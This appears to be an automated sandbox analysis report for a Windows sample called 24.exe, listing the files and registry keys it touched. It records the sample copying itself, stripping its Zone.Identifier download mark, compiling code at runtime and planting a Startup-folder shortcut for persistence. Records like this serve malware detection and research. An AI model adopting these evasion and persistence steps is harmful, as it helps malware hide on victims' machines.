10 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven03b_64 Seven03b_64 VirtualBox 2018-04-25 17:36:14 2018-04-25 17:39:05 171

9 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\24.exe.config
C:\Users\Seven01\AppData\Local\Temp\24.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
\Device\KsecDD
C:\Windows\assembly\NativeImages_v4.0.30319_32\MKI1ijQYoHs91bac0b3#\*
C:\Users\Seven01\AppData\Local\Temp\24.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.tmp
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.0.cs
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.dll
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.out
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.err
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.pdb
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Users\Seven01\AppData\Local\Temp\24.exe.Local\
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll
C:\Users\Seven01\24.exe
C:\Users\Seven01\24.exe:Zone.Identifier
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mefCUp.url
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\GAC_64
C:\Windows\assembly\GAC_64\mscorlib.resources
C:\Windows\assembly\GAC_32
C:\Windows\assembly\GAC_32\mscorlib.resources
C:\Windows\assembly\GAC_MSIL
C:\Windows\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\*
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC
C:\Windows\assembly\GAC\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_64
C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_32
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_MSIL
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\System32\mscoree.dll.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\System.Management.dll
C:\Windows
C:\Windows\Microsoft.NET
C:\Windows\Microsoft.NET\Framework
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Users\Seven01\AppData\Local\Temp\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Users\Seven01\AppData\Local\Temp\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Users\Seven01\AppData\Local\Temp\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Users\Seven01\AppData\Local\Temp\CSC1587E79243CC4BDA8F693EFEAEB5AF.TMP
C:\Users\Seven01\AppData\Local\Temp\RESABD0.tmp
C:\Windows\System32\tzres.dll

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\24.exe.config
C:\Users\Seven01\AppData\Local\Temp\24.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.dll
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.pdb
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.0.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Users\Seven01\AppData\Local\Temp\CSC1587E79243CC4BDA8F693EFEAEB5AF.TMP
C:\Users\Seven01\AppData\Local\Temp\RESABD0.tmp
C:\Windows\System32\tzres.dll

Write Files

C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.tmp
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.0.cs
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.dll
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.cmdline
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.out
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.err
C:\Users\Seven01\24.exe
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mefCUp.url
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.pdb
C:\Users\Seven01\AppData\Local\Temp\CSC1587E79243CC4BDA8F693EFEAEB5AF.TMP
C:\Users\Seven01\AppData\Local\Temp\RESABD0.tmp

Delete Files

C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.pdb
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.dll
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.cmdline
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.0.cs
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.err
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.out
C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.tmp
C:\Users\Seven01\24.exe:Zone.Identifier
C:\Users\Seven01\AppData\Local\Temp\RESABD0.tmp
C:\Users\Seven01\AppData\Local\Temp\CSC1587E79243CC4BDA8F693EFEAEB5AF.TMP

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\24.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\24.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\EE895BF0
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
